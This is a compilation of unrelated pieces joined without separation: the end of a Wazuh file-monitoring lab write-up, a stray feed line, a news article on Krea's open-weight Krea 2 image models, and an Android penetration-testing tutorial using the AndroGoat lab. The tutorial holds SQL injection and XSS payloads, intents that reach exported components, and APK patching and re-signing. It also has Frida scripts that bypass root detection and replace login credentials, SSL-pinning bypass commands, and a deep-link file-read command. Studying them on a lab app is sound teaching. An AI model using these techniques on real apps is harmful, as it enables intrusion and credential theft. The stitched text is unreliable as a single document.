You can read more about File Integrity Monitoring in official Wazuh Documentation here

Configuration & Detection

1. Edit the agent’s ossec.conf file

• On the Windows endpoint, the Wazuh agent configuration file is located at

C:\Program Files (x86)\ossec-agent\ossec.conf

and edit the ossec.conf file using notepad (open as an administrator).

• Add the directories you want to monitor within the <syscheck> block

<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Public</directories>
<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Public\Downloads</directories>
<directories check_all="yes" report_changes="yes" realtime="yes">C:\Users\Lily\Desktop</directories>

• Restart the Wazuh agent to apply changes

Restart-Service wazuh-agent

2. Test the Configuration

• Create files

I created a file on Desktop named “Malware Docs”

Alert Visualization

Navigate to Endpoint security > File Integrity Monitoring > Events on the Wazuh dashboard to view the alert generated when the FIM module detects changes in the monitored file. The created file was logged as ‘file added’

• Modify Files

To demonstrate file modification detection, I edited the contents of a file in the Downloads folder named “Malicious.txt”

Alert Visualization

This action was detected by Wazuh File Integrity Monitoring and logged as a “file modification” event in the dashboard.

• Delete Files

Several files were deleted, and this activity was detected by Wazuh File Integrity Monitoring and logged as “File deleted” events.

• Registry Modification

To demonstrate registry monitoring, I ran a benign malware simulation that attempted to establish persistence. This action triggered legitimate Windows system processes, which in turn updated related registry keys in the background. Wazuh detected these changes and logged them as registry modification events, demonstrating how File Integrity Monitoring can capture both direct malware activity and the secondary system behaviors it provokes.

Dashboard Insights & Key Takeaways

This project demonstrated the practical value of File Integrity Monitoring through hands-on configuration, testing, and analysis using Wazuh. I successfully monitored file systems and Windows Registry keys, validated detection with manual changes and a malware simulation, and used the Wazuh dashboard to turn raw alerts into actionable insights.

FIM proved to be a critical visibility tool not just for compliance, but for real-time detection, rapid investigation, and understanding attack behaviors through change analysis. By capturing both legitimate and malicious modifications, it serves as a foundational layer in a proactive security posture.

Many thanks to Efam Harris for inspiring me to take on this project.

Wazuh File Integrity Monitoring: Tracking Endpoint Modifications in Real Time was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Gradium Launches stt-translate and s2s-translate, Real-Time Speech Translation Models Beating gpt-realtime-translate on Accuracy and Latency appeared first on MarkTechPost.

AI creative tools startup Krea is hoping to change that trend by opening up the weights to its new frontier AI image model Krea 2 as two versions, "Krea 2 Raw" and "Krea 2 Turbo," under a custom license that requires firms with more than 50 seats to pay for Enterprise usage, and mandates all users of any size to implement technical safeguards to prevent the generation of illegal materials, non-consensual intimate imagery (NCII), child sexual abuse material (CSAM), or defamatory assets.

Both models are available for public download on Hugging Face. The company says the models provide more visual variety than typical AI generators, while maintaining high prompt accuracy, fidelity, and quality. Importantly, they also offer enterprises and users the ability to customize the generative outputs much more than typical proprietary or even other open source models.

And, for those seeking to generate imagery at high-throughput, Krea 2 Turbo's generation speed is only 2 seconds, making it among the fastest now available across open and proprietary AI image generation models.

AI Image Generator API Speed & Licensing Benchmarks (Mid-2026)

Sources: Artificial Analysis, Krea, MindStudio.AI

Architectural bifurcation and the 12B parameter Transformer

At the technical core of the release sits an architectural framework built entirely from scratch: a Diffusion Transformer scaled to 12 billion parameters.

Rather than deploying a single, heavily fine-tuned model for all downstream tasks, Krea open-sources two highly differentiated checkpoints captured at distinct milestones of the model's training lifecycle.

Departing from multi-stream configurations for structural clarity, the core engine standardizes on a single-stream transformer block architecture wherein attention and MLP layers are shared natively between text and image tokens.

To maximize computational efficiency, Krea incorporates a SwiGLU MLP layer operating at a 4x expansion factor alongside Grouped-Query Attention (GQA) combined with gated sigmoid attention layers to stabilize training dynamics.

Timestep conditioning is heavily optimized; the network replaces traditional per-block MLP modules with a lightweight, per-block tunable bias term, successfully cutting total block modulation parameters by 20% to 30% and reallocating that parameter budget directly into core layers.

Positional encoding is managed via a 3D Axial Rotary Position Embedding (RoPE) scheme mapping across individual frame, height, and width coordinate

Krea 2 Raw represents an undistilled base release checkpoint taken directly from the mid-training stage of the larger Krea 2 Medium development cycle.

Because it lacks post-training alignment, reinforcement learning from human feedback (RLHF), or final aesthetic distillation, Krea 2 Raw functions as a blank canvas.

It retains a vast, uncurated latent space that makes it poorly suited for immediate out-of-the-box prompting, but highly optimized for structural training.

Operating this model via the Hugging Face `diffusers` library requires a heavy compute footprint, executing via `Krea2Pipeline` in `torch.bfloat16` precision across 52 inference steps with a guidance scale of 3.5.

To accelerate early-stage architectural convergence during the first epoch of this 256px baseline training phase, Krea applied internal Representation Alignment (iREPA) techniques before decoupling them to let the underlying model develop independent structural representations.

The second checkpoint, Krea 2 Turbo, represents the opposite end of the optimization spectrum.

It is a distilled, post-trained variant derived from Krea 2 Medium. Through knowledge distillation, the network's complex multi-step generation sequence is compressed into an incredibly lean operational profile.

Krea 2 Turbo slashes the required generation cycle down to just 8 inference steps with a guidance scale of 0.0, enabling it to render native 2k resolution imagery on standard consumer-grade hardware in approximately 2 seconds.

The underlying latent representations for both models are optimized through the integration of the Qwen Image VAE and the FLUX 2 VAE to guarantee rapid convergence while maintaining high reconstruction fidelity.

Data and training

The underlying dataset strategy for the Krea 2 family relies on a hybrid blend of publicly harvested data, third-party licensed image repositories, and highly curated synthetic datasets built via proprietary generation methods.

Prior to final training, Krea processed these collections through rigorous algorithmic filters designed to strip out duplicative frames, low-resolution media, and explicit or harmful material, ensuring high fidelity and strong prompt compliance across both models.

Krea enforces a zero-synthetic data policy within its primary pretraining mix.

To prevent the upper-bound quality limitations and output biases induced by AI-generated data, the engineering team deployed custom in-house filtering classifiers built on top of DINOv3 and SigLIP-2 architectures to completely purge synthetic images at scale.

Furthermore, rather than using traditional model-based aesthetic filters that inadvertently strip away artistic intents like motion blur, Krea preserves wide stylistic boundaries.

The team trained a Sparse Autoencoder (SAE) on SigLIP-2 embeddings to isolate and filter out genuine visual artifacts using an unsupervised tagging framework.

Krea 2 Raw vs. Krea 2 Turbo: Distinctions and use cases

The release establishes a highly deliberate operational paradigm for professional studios and independent creators: "train on Raw, generate with Turbo." This workflow leverages the unique architectural properties of both open-weight files to optimize both training accuracy and rendering speed.

In creative production pipelines, engineers can use Krea 2 Raw to train custom Low-Rank Adaptations (LoRAs) or domain-specific fine-tunes.

Because the Raw checkpoint contains no baked-in stylistic opinions or aggressive post-training constraints, it absorbs unique aesthetic directions—such as architectural drafting styles, specific brand assets, or complex lighting designs—with high fidelity and zero stylistic interference.

Once the training phase is complete, creators can port those exact LoRAs directly over to Krea 2 Turbo.

This methodology is reflected in Krea's own development ecosystem, which hosts an in-house collection of custom LoRAs trained entirely on the Raw foundation model but optimized for execution within Turbo workflows.

On the user-facing application layer, Krea integrates this dual-engine setup with a powerful style transfer system. Rather than relying on erratic text descriptions to achieve an artistic look, users can feed multiple style reference images directly into the system.

Krea 2 maps these references across its latent space, allowing creators to isolate individual aesthetic components, combine distinct moodboards, adjust style strength via generative sliders, and fine-tune batch variation levels to maintain visual cohesion across large-scale design iterations.

To address the gap between raw textual training captions and brief user inputs, Krea paired this suite with an advanced LLM Prompt Expander. Refined via Generalized Deep Q-Network Preference Optimization (GDPO) and trained on synthetic thinking traces to preserve intent reconstruction, the expander applies a photographic-medium bias to photorealistic requests and integrates an active DINOv3 embedding diversity score across rollout groups to prevent automated prompting routines from collapsing into a singular house style.

While Krea 2 Medium and Krea 2 Large remain the company's flagship models for high-fidelity composition and absolute stylistic adherence, Turbo fills the critical role of rapid visual ideation.

It serves as an interactive scratchpad for early concept creation, quick prompt experimentation, and iterative art direction where near-instantaneous feedback loops are required to maintain creative momentum.

The custom license and its particulars

The open-weight assets deploy under the Krea 2 Community License Agreement operating alongside an official Acceptable Use Policy.

At a macro level, this legal framework mirrors recent industry trends toward commercial-use permissions that target small businesses while restricting large enterprise exploitation.

The license explicitly permits individuals, independent creators, and small commercial companies to build applications, monetize generated imagery, and integrate the open weights directly into commercial software products without royalty obligations.

Furthermore, Krea states that it "does not claim copyright or other intellectual property rights over content generated by users of this model," leaving output ownership entirely in the hands of the operator.

For organizations scaling beyond this baseline, the ecosystem shifts into a paid, custom-tier structure.

While Krea's official documentation lacks a rigid revenue threshold defining a "large enterprise," the company structurally demarcates the boundary based on organizational footprint: standard commercial usage caps at a "Business" tier accommodating up to 50 seats.

Therefore, any entity requiring more than 50 seats, Single Sign-On (SSO) integrations, guaranteed Service Level Agreements (SLAs), or custom Data Processing Agreements (DPAs) qualifies as an Enterprise.

These larger entities fall outside the free Community License scope and must pay for a custom commercial license—operating under "Custom Terms of Service"—negotiated directly with Krea's sales team.

Additionally, developer access to Krea's official API remains entirely decoupled from the open-weights release; API usage operates as a distinct, paid service billed dynamically on a per-generation basis (measured in microdollars) and requires a prepaid USD balance independent of standard monthly compute subscriptions.

However, a close examination reveals a significant structural shift regarding legal and behavioral compliance for all self-hosted deployments.

Unlike traditional open-source permissions like the MIT or Apache 2.0 licenses—which grant unconditional usage rights and completely waive liability—the Krea 2 Community License implements strict downstream behavioral guardrails.

Because Krea relinquishes centralized control over the downstream deployment of its open weights, the contract legally binds deployers to enforce content moderation protocols at the infrastructure layer.

Under the terms of the agreement, any developer or platform hosting Krea 2 models must implement active input/output classifiers or equivalent content filtering mechanisms to actively prevent the generation of illegal materials, non-consensual intimate imagery (NCII), child sexual abuse material (CSAM), or defamatory assets.

Developers who fail to deploy these defensive safety layers stand in immediate breach of contract, giving Krea the explicit right to update model weights or revoke access to the model family entirely.

Background on Krea

Founded in 2022 by audiovisual systems engineering dropouts Víctor Perez and Diego Rodriguez Prado, San Francisco-based Krea initially captured market traction as a highly fluid user interface layer built to orchestrate disparate, third-party AI generative engines.

The startup's rapid scaling via product-led adoption culminated in an aggregate $83 million in disclosed venture capital funding from major VCs including Andreessen Horowitz and Bain Capital Ventures, as well as early-stage institutional backers including Pebblebed, Abstract Ventures, and Gradient Ventures.

The company's user base surpassed 30 million individuals across 191 countries as of June 2026, according to its website.

The open-weights launch of the Krea 2 model family represents the culmination of Krea’s deliberate evolution from a multi-model SaaS aggregator into a self-sustaining media research lab.

Early in its lifecycle, Krea focused on building workflow tools, editing systems, and a node-based automation pipeline that allowed digital artists to unify models from competitors like Runway, Midjourney, and Adobe under a single subscription.

However, to insulate itself against upstream platform dependencies and supplier margin pressures, the company aggressively shifted toward developing proprietary architectures. This transition began taking public shape in July 2025 with the open-weights release of the custom-curated FLUX.1 Krea checkpoint, followed in October 2025 by Krea Realtime 14B—an autoregressive video model distilled from Wan 2.1 capable of rendering 11 frames per second on localized enterprise hardware.

This underlying technical maturation parallels Krea's accelerating push into high-end enterprise workflows. Large-scale creative production operations have shifted toward treating Krea as core creative infrastructure; for example, the digital creative services platform

Superside reported migrating workflows from fragmented open-source setups to route roughly 80 percent of its total AI generative production through Krea.

Furthermore, Krea established a strategic co-development partnership with Copenhagen-headquartered architecture firm Henning Larsen to build highly restricted, domain-specific design tools tuned to meet the compliance frameworks mandated by the EU AI Act.

By releasing Krea 2 Raw and Turbo as open weights, Krea is continuing its expansion from an AI tools provider to being a model provider in its own right.

An alternative to typical rigid AI imagery APIs?

Creators are focusing heavily on the structural freedom offered by the unaligned Raw checkpoint, viewing it as an important alternative to the locked-down APIs provided by closed-source models.

Through the official announcement on X, Krea emphasized the foundational shift this launch represents for open AI workflows.

Developers note that by treating AI as an "actual creative medium" that feels "raw, flexible, unopinionated, and unconstrained," Krea is intentionally providing an infrastructure that creators can "break if [they] want to," moving far away from the rigid safety guardrails that frequently limit the visual range of competing enterprise tools.

As independent model builders begin compiling the Hugging Face repositories, the practical value of the release will be determined by how effectively the open-source community can scale customized LoRAs using Krea 2 Raw.

By providing clear commercial terms and lowering hardware entry barriers via Turbo's 8-step inference pipeline, Krea has introduced a highly competitive alternative to the open-weights market, challenging dominant models by prioritizing artistic control over centralized corporate alignment.

بِسْمِ اللَّـهِ الرَّحْمَـٰنِ الرَّحِيمِ

In this article, I’ll cover the basics of Android penetration testing, including the required tools and how to use them. I’m not an expert Android penetration tester, but I hope you find this article useful.

Before I start talking about Android penetration testing tools, we need to start with an Android virtual device, OR a physical device, to work.

Android Studio is the official Integrated Development Environment (IDE) for Android app development, developed by Google. It provides all the tools developers need to create, test, and debug Android apps, and it supports running apps on physical devices and emulators.

I’m using Android Studio to create an AVD (Android Virtual Device), but there are other Android emulators you can use, such as Genymotion, which is also good and easy to use.

In Android Studio, create an AVD to work with. I’m using Android 13 with the x86_64 CPU architecture (ABI). After you create the AVD — regardless of which emulator you choose — we’ll move on to the tools and discuss each one in detail.

— — Some Idioms and Important Things: — —

Firstly, we need to cover some basic concepts.

AndroidManifest.xml: Think of it as the app’s identity card and configuration file for the Android operating system. Before the system can run any of your app’s code, it must read the manifest to understand what the app is, what components it has, and what permissions it needs.

Insecure storage: SharedPreferences, DBs, files, external storage:

It means sensitive data (auth tokens, passwords, API keys, PII, JWTs, encryption keys, etc.) is stored on-device in a way an attacker or another app can read or modify.

Common Android storage places:

• SharedPreferences: key/value XML files usually used for settings, Ex, /data/data/<package_name>/shared_prefs/
• SQLite databases: structured app data Ex: /data/data/<package_name>/databases/
• Cache directory:/data/data/<package_name>/cache/
• External storage: /storage/emulated/0/
• Logs: not strictly storage, but sensitive info in logs.

Activities:

Represents UI screens that users interact with; each activity can be started via an intent by the same app or another app.

• Potential Security Issue: Exported activities can be accessed by other apps if not restricted. An attacker can invoke internal(sensitive) activities to make them public.
• Example: Suppose an app that has

<activity android:name=".AdminActivity"
          android:exported="true">
</activity>

If this activity allows admin-only functions like Create, Update, and delete users, and it doesn’t check authentication internally. An attacker can create a malicious app and send an intent to it because the exported activity is true, like

Intent i = new Intent();
i.setClassName("com.victim.app", "com.victim.app.AdminActivity");
startActivity(i);

Services:

Perform background operations like playing music or downloading data; they can run even if no activity is visible.

• Potential Security Issue: Exported services can be started or bound by other apps & attacker can perform actions like sending data indirectly.
• Example: Suppose we have an UploadService that uploads a user file to the server without any other internal checks.

<service android:name=".UploadService"
         android:exported="true" />

The attacker's malicious app can send any file to upload, like the following

Intent intent = new Intent();
intent.setClassName("com.victim.app", "com.victim.app.UploadService");
intent.putExtra("file", "/data/data/com.victim.app/userinfo.db");
startService(intent);

Broadcast Receivers:

Respond to system-wide or app messages like battery low or SMS_Received.

• Potential Security Issue: Unprotected receivers can be triggered by malicious broadcasts. If they perform sensitive actions like deleting files or sending data.
• Example: If we have a Receiver, it resets the app data

<receiver android:name=".ResetReceiver"
          android:exported="true">
    <intent-filter>
        <action android:name="com.victim.RESET_APP"/>
    </intent-filter>
</receiver>

An attacker's malicious app can send things like the following to reset it.

Intent i = new Intent("com.victim.RESET_APP");
sendBroadcast(i

Content providers:

Managed structured data like databases or files, and allowed sharing data between apps using the URI content://<authority>/<path>/<id>

• Potential Security Issue: Can lead to SQL injection vulnerabilities via unchecked URI parameters OR Path traversal in file-based providers.
• Example: Suppose that we have a content provider that returns user data via an ID that exists in the URI.

<provider android:name=".UserDataProvider"
          android:authorities="com.victim.app.provider"
          android:exported="true" />

Cursor c = db.rawQuery("SELECT * FROM users WHERE id=" + uri.getLastPathSegment(), null);

An attacker can get SQL injection to get all user data by querying

content://com.victim.app.provider/users/1 OR 1=1--

Web Views:

It is an Android component that allows you to display web content directly within your app, and it can lead to different vulnerabilities. If you look for the following Java code, you will notice that you can execute JavaScript(XSS) and access internal files(LFI) because you enabled JavaScript and file access to true.

// Vulnerable (Java)
WebView webView = findViewById(R.id.webview);
WebSettings s = webView.getSettings();

// Dangerous combination: JS + file access
s.setJavaScriptEnabled(true);
s.setAllowFileAccess(true);
s.setAllowFileAccessFromFileURLs(true);
s.setAllowUniversalAccessFromFileURLs(true);

// Loads a user-editable local file (attacker could place/modify this file)
webView.loadUrl("file:///sdcard/app_data/user_note.html");

Root Detection:

Root refers to the system-level (superuser) account. It’s equivalent to the Administrator account in Windows or the root account in Linux. Root detection is an expected security mechanism in Android apps that secures the device’s integrity. Rooting[Root detection bypass] a device gives users administrative privileges, allowing them to bypass certain security features, giving them power over the device, allowing them to read/modify app memory and files, intercept/alter network traffic, remove protections, and persist privileged malware.

SSL Pinning:

SSL/TLS (HTTPS) normally trusts any certificate chain that the device’s trusted CA store accepts.SSL pinning is when an app says, “I will only trust this certificate (or public key/intermediate), regardless of what the OS trusts. Attackers attempt to bypass pinning to read sensitive data in transit — capture tokens, passwords, and PII. Modify requests/responses.

=============Tools And Labs ==============

ADB:

Android Debug Bridge is a command-line tool that lets you communicate with a device. The The adb command facilitates a variety of device actions, such as installing and debugging apps. adb provides access to a Unix shell that you can use to run a variety of commands on a device. It is a client-server program

You can use ADB after installing the Android SDK Command-line Tools, which include ADB. You can also use it with your physical device. For more details, refer to the official documentation: https://developer.android.com/tools/adb

I’m going to talk about the important commands used with the adb.

• lists all connected devices adb devices
• Install APK files directly to your device using ADB adb install <path_to_apk>
• Starts a remote shell connection to your Android device adb shell && Reboot the device adb reboot
• Copies a file from your computer to the Android device adb push <local_file_path> <device_file_path>&& Copies a file from your device to the computer adb pull <device_file_path> <local_file_path>
• Getting all the logs of your Android using adb logcat
• Lists the package names of all installed apps adb shell pm list packages
• Launches a specific activity in an app adb shell am start -n <package_name>/<activity_name>EX: adb shell am start -n com.android.settings/.Settings
• Other important commands -> https://developer.android.com/tools/adb

APKtool:

It is an essential tool for anyone who needs to reverse engineer, analyze, or modify Android applications (APK files). It decompiles an APK file back to almost its original form, and Recompiles an APK file: After you have made changes to the decoded files, Apktool can rebuild them into a new APK file. You can install it from the following: https://apktool.org/docs/install/

I will walk you through a real example from the Androgoat lab to show how to use the apktool command with another GUI tool like JadxGUI. First, let’s install the lab using: adb install AndroGoat.apk

Decompile the APK file using jadx GUI, add the APK file to the jadxGUI tool, and the output will look like the following

As you can see, it’s easy to search for different things inside the decompiled APK. For example, we findpromocode = "NEW2019"It is a security issue. If we open the AndroGoat app and go to the Hardcode Issue section, we see that the price is 2000, but after we use the promo code we found, we’ll get a discounted price.

Now, let’s use the apktool

apktool d AndroGoat.apk -o AndroGoat_output # d for decompile the app # -o the output directory

In the output directory, you’ll see structures similar to what we saw in JadxGUI.

In our lab, if we explore the files, we’ll find the Binary Patching section, which contains an Administration button that we can’t access. But think about this: what if we could modify the decompiled code behind that button and then recompile the app?

Binary Patching: Modifying the app’s binary code to alter its behavior, such as disabling security features or enabling hidden functionalities.

After some search using JadxGUI or apktool, I found

The file res/layout/activity_binary_patching.xmlcontains the following button, which has enabled="false"

<Button
        android:enabled="false"
        android:id="@+id/adminButton"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginLeft="15dp"
        android:layout_marginTop="5dp"
        android:layout_marginRight="15dp"
        android:text="Administration"/>

Now we know where the file is located and what we need to change, so let’s go to our APKTool output, AndroGoat_output/res/layout/activity_binary_patching.xml then modify the false to true. Then recompile it using the following steps.

• Firstly, we will create an unsigned APK file that Android won’t install because Android requires apps to be signed to verify integrity and developer identity..

apktool b AndroGoat_output -o New_Target_APK_Name.apk # b recombile and -o for the Name of the new APK file

• Secondly, generate a signing key. It will ask you some questions (name, organization, etc.) and a password for the keystore and alias. You can leave them by default.

keytool -genkey -v -keystore Any_KeyStore_Name -keyalg RSA -keysize 2048 -validity 1000 -alias Any_Alias_Name
# -genkey → generate a new key pair.
# -keystore Any_KeyStore_Name → file where your private key is stored.
# -keyalg RSA -keysize 2048 → algorithm & key strength (standard).
# -validity 1000 → number of days the key is valid (e.g., ~3 years).
# -alias Any_Alias_Name → nickname for your key (you’ll use this later when signing).
# Also you can use <zipalign> instead of keytool

• Thirdly, now use apksigner (part of Android SDK build-tools) to sign the APK:

apksigner sign --ks Any_KeyStore_Name --ks-key-alias Any_Alias_Name New_AndroGoat.apk
# --ks → keystore file you created.
# --ks-key-alias → alias name of your key inside the keystore.
# New_AndroGoat.apk → unsigned APK to sign.

• Fourthly, verify the signature and install

apksigner verify New_AndroGoat.apk # If it outputs nothing, the signature is valid
adb install ./New_AndroGoat.apk # Install the new Android app

After we return to the same screen and recheck the Administration button, we can now access it successfully.

Root Access:

If we tried to access the adb shell as root, we would get

git clone https://gitlab.com/newbit/rootAVD.git
cd rootAVD
bash rootAVD.sh ListAllAVDs # To list avds
# Based on your avd we will use on of the result of rootAVD like the following I use
bash rootAVD.sh system-images/android-36/google_apis_playstore/x86_64/ramdisk.img

You’ll see that Magisk has been installed, and your AVD will reboot automatically. Then, open the Magisk app and execute it within the Superuser. After that, you’ll be able to use the ADB shell with root access easily.

Now that we have root access on our device, we run into a new problem: some applications detect that the device is rooted and block access. To bypass this, we need a root detection bypass. Instead of unrooting our emulator (which we still need for testing), we can simply use Frida to hook the isRooted function and force it to always return false.

Understand how root detection works in the target app. In the AndroidManifest.xml file, you’ll find an activity called RootDetectionActivity.If you analyze its code, you’ll see a method named isRooted() that checks for signs of a rooted device, such as the presence of binaries like su or known root-related packages like Superuser.

• If isRooted() returns trueThe app displays: “Device is Rooted”.
• If isRooted() returns falseThe app displays: “Device is Not Rooted”.

Let’s now use the following script to bypass it

Java.perform(function () {

    console.log("[*] Root bypass loaded");

    var RootDetectionActivity = Java.use(
        "owasp.sat.agoat.RootDetectionActivity"
    );

    // Bypass isRooted()
    RootDetectionActivity.isRooted.implementation = function () {
        console.log("[+] isRooted() bypassed");
        return false;
    };

    // Bypass isRooted1()
    RootDetectionActivity.isRooted1.implementation = function () {
        console.log("[+] isRooted1() bypassed");
        return false;
    };

});

frida -U -f owasp.sat.agoat -l bypass.js
# Below, I will explain how to use the Frida tool.

Insecure Data Storage: SharedPreferences, DBs, files, external storage:

We’ve already explained the concept, but now we’ll look at how it appears in the AndroGoat lab under the Insecure Storage section.

Firstly, we need to know the package of our lab using adb shell pm list packages | grep "goat"-> Result -> package:owasp.sat.agoatIf we go to the following /data/data/owasp.sat.agoat/We will see different folders like cache, code_cache, databases, and shared_prefs. Suppose username and password are (admin: admin).

Firstly, we need to identify the package name of our lab using: adb shell pm list packages | grep "goat"-> Result -> package:owasp.sat.agoatNext, navigate to: /data/data/owasp.sat.agoat/Here, you’ll see different folders like cache, code_cache, databases, and shared_prefs.

• shared_prefs, we will see the users.xml files, which contain the credentials in XML format. Also, we can edit the file as we want, like the score.xml file.
• databases: pull the aGoat file, then use the SQLite3 command or DB Browser GUI for better data extraction, as you’ll see.

• Inside the Side Channel Data Leakage section, if we go to Insecure Logging and enter adminlog:adminlog, then run the following

adb logcat - pid=$(adb shell pidof -s owasp.sat.agoat)
# we will see everything realted to our target APP

Drozer:

An Android application security testing framework that helps testers find vulnerabilities. Drozer has different modules, each with its own operation. EX: Static analysis of an application — Performing enumeration on various packages — Creating Exploits for activities and content providers — Automating SQL injection.

You can install it using Docker or pip → pip install drozer You also need the Drozer Agent installed on your Android device. Start the drozer agent, then adb forward tcp:31415 tcp:31415Finally, start the drozer console by running the drozer console connect.

I’ll walk through the different modules available in Drozer and ADB.

• For Packagesrun app.package.list — list installed packages. && run app.package.list -f <Name> — search for a package by name substring. && run app.package.info -a <package.name> — basic info: permissions, version about our target package.
• For Activitiesrun app.activity.info -a <package.name> — list activities that are exported. && run app.activity.start --component <pkg> <ActivityName> — attempt to start an exported activity.
• For Services run app.service.info -a <package.name> — list services and permissions required. && run app.service.start / run app.service.stop — start or stop services. && run app.service.send <pkg> <ServiceName> --msg <args> --extra <key> <value> — interact with started service (send intents/bundles).
• For Content providers run app.provider.info -a <package.name> — list providers and permissions. && run scanner.provider.finduris -a <package.name> — Enumerate likely content URIs (common attack vector). && run app.provider.query content://... --vertical — query an accessible content provider URI. & run app.provider.read content://.../path — attempt to read local files.
• For Broadcast receivers run app.broadcast.info -a <package.name> — list broadcast receivers and export status. &&run app.broadcast.send --action <pkg>.<ReceiverAction> --extra "k=v" — send crafted intents to receivers.

There are additional modules and features in Drozer. You can see more details by using the list command inside the tool. https://labs.withsecure.com/tools/drozer and https://angelica.gitbook.io/hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial.

Unprotected Android Components:

We need to verify the PIN to be able to log in, but what if we bypass the activity that handles this verification? If we use Drozer to interact with the app’s activities, we can attempt to start the protected activity directly and bypass the PIN check. Exrun app.activity.info -a owasp.sat.agoat

• Start the exported activity using it, run app.activity.start --component owasp.sat.agoat owasp.sat.agoat.AccessControl1ViewActivityand we will bypass it successfully.

Input Validations:

Insecure or missing user input validation can introduce serious security vulnerabilities in Android apps, such as XSS or SQLI, or LFI.

• XSS: If we enter any value into the Name field, we notice that this value is reflected in the page body. Let’s dig deeper by inspecting the XSSActivity with Jadx. You’ll see that it uses a WebView, and, importantly, that JavaScript is enabled for this WebView. This setup allows for XSS injection, as user-supplied input is passed directly into the web content without proper sanitization.

Let’s inject an XSS payload like <script>alert("Hacked")</script> Then you will see a JavaScript alert box.

• SQL Injection (SQLI): When user input is directly included in an SQL statement without proper validation or sanitization, as exists in the SQLInjectionActivity, it creates an SQL Injection vulnerability. For example, if we enter: admin' This will typically cause an SQL error because of the unmatched single quote. To exploit this, we can inject a payload such as: admin'OR 1=1;--This statement alters the original SQL logic and returns all users from the database, clearly demonstrating a successful SQL injection attack.

• WebView(Local file access): an attacker can access local files if the allow file access is set to true, as exists in the following

While JavaScript itself is generally safe, enabling the following settings can expose your application to various vulnerabilities.

WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true); 
settings.setAllowFileAccess(true); 
settings.setAllowContentAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);

SSL Pinning bypass:

There are different ways to bypass the SSL pinning.

• For Static review, inspect the application code for pinning libraries — Custom trust managers — Hardcoded certs — and Public keys in the source or resources. EX:network_security_config.xml analysis — Many apps explicitly configure cleartext traffic permissions and cert pinning here. This file is in res/xml/ and is often the first thing to check after decompiling. Misconfigured entries <base-config cleartextTrafficPermitted="true"/> are instant findings.
• For Dynamic: we will use different tools like Objection, Frida, and Burp for request interception.

Burp Suite:

a web application security testing platform used to intercept, inspect, and manipulate HTTP(S) traffic. created by https://portswigger.net/burp.

— Steps to intercept requests using Burp in Android:

• Run Burp, then go to the Add proxy listener → choose the IP address 192 with port 8080. Then, in the Android emulator, navigate to http://192 in Chrome and download the .cert file. Then, go to settings, then more security and privacy → Encryption & credentials → install a certificate → choose the certificate downloaded.

• Go to the Mobile Network Security → Internet → choose the AndroidWifi →Edit it → change the IP to 192 IP → You can intercept Requests easily.

• Network Intercepting: If you navigate to the HTTP section inside it, you can intercept requests via the Burp Suite proxy.

However, when we press the HTTPS button, an error message appears stating “please intercept using proxy,” and no requests are captured in Burp Suite. This indicates that SSL pinning is enabled in the application, so we need to bypass this protection to intercept HTTPS traffic. To bypass SSL pinning, several tools are commonly used: Frida or Objection.

Frida:

It is a free and open-source dynamic instrumentation toolkit that lets you inject snippets of JavaScript into running processes to hook functions, inspect/modify memory, intercept APIs, and implement custom runtime behavior

— How to install it:

1. Make sure you have Frida installed on your workstation (laptop/PC): pip3 install frida-tools
2. Identify Device Architecture: Determine the CPU architecture for your Android device/emulator. Run this ADB command to check your device’s architecture adb shell getprop ro.product.cpu.abi You will get in response something like x86_64 .
3. Download the Corresponding Frida Server: Go to the official Frida releases page and scroll to assets. Download the frida-server file that matches your device’s architecture (e.g., frida-server-<version>-android-x86_64.xz for x86_64).
4. Extract it with xz -d frida-server.xz
5. Push and Run Frida Server on Your Device: a] Transfer the server binary to your device db push frida-server /data/local/tmp/ [b] Set executable permission: db shell "chmod 755 /data/local/tmp/frida-server"[c] Start Frida serveradb shell "/data/local/tmp/frida-server &".
6. Run frida-ps -UaTo confirm that Frida is running on your device and to list the currently running apps.

— How to use:

// hook_android_login.js
/*
The script hooks the authenticate(String user, String pass) method
1. Prints the original username and password sent by the app.
2. Replaces them with attacker-controlled values.
3. Calls the original authenticate method but using the new credentials.
4. Prints the result returned by the original method.
5. Returns that result back to the app.
*/
Java.perform(function () {
  var LoginManager = Java.use("com.example.app.LoginManager");
  LoginManager.authenticate.overload("java.lang.String","java.lang.String").implementation = function (user, pass) {
    console.log("[+] authenticate called. user:", user, "pass:", pass);
    // change credentials
    var newUser = "attacker";
    var newPass = "p@ssw0rd";
    console.log("[+] replacing creds with", newUser, newPass);
    var result = this.authenticate(newUser, newPass);
    console.log("[+] original result:", result);
    return result;
  };
});

frida -U -f com.example.app -l hook_android_login.js
# -U Stands for USB device.Tells Frida to connect to the device.
# -f Launches the target app (package name) from the beginning before injecting the script.
# -l Loads your Frida script at startup.

SSL Pinning bypass using frida:

You can create your own script to bypass SSL pinning or utilize existing scripts available at https://codeshare.frida.re/

frida -U --codeshare akabe1/frida-multiple-unpinning -f Package_Name
# This is an example for ssl pinning bypass

If you encounter any errors or problems, you can use the following repo to automate most of the process with the included scripts. https://github.com/httptoolkit/frida-interception-and-unpinning

In the end, you will be able to bypass it.

Other Important Topics:

• Deep link / App Link hijacking is one of the most important Android IPC/client-side attack vectors. allow apps to open specific screens directly from browsers — emails — QR codes EX: mybank://transfer?id OR https://bank.example.com

<!-- Example vulnerable manifest -->
<intent-filter>
    <action android:name="android.intent.action.VIEW"/>
    <category android:name="android.intent.category.DEFAULT"/>
    <category android:name="android.intent.category.BROWSABLE"/>

    <data
        android:scheme="mybank"
        android:host="transfer"/>
</intent-filter>

Also, it can lead to accessing local files, like the following attack

adb shell am start -a android.intent.action.VIEW -d 'insecureshop://com.insecureshop/web?url=file:///etc/hosts’ 

• Firebase/backend misconfiguration — Insecure Firebase Realtime Database and Storage rules are found in real apps. Check by looking in the resource files, specifically res/values/strings.xml or by locating the google-services.json config file that is sometimes packaged with the app from the APK, and testing unauthenticated read/write access:

# Example which contain (.firebaseio.com) but you need to add .json at the end
curl "https://your-app.firebaseio.com/.json"
# If it returns data, unauthenticated read is enabled

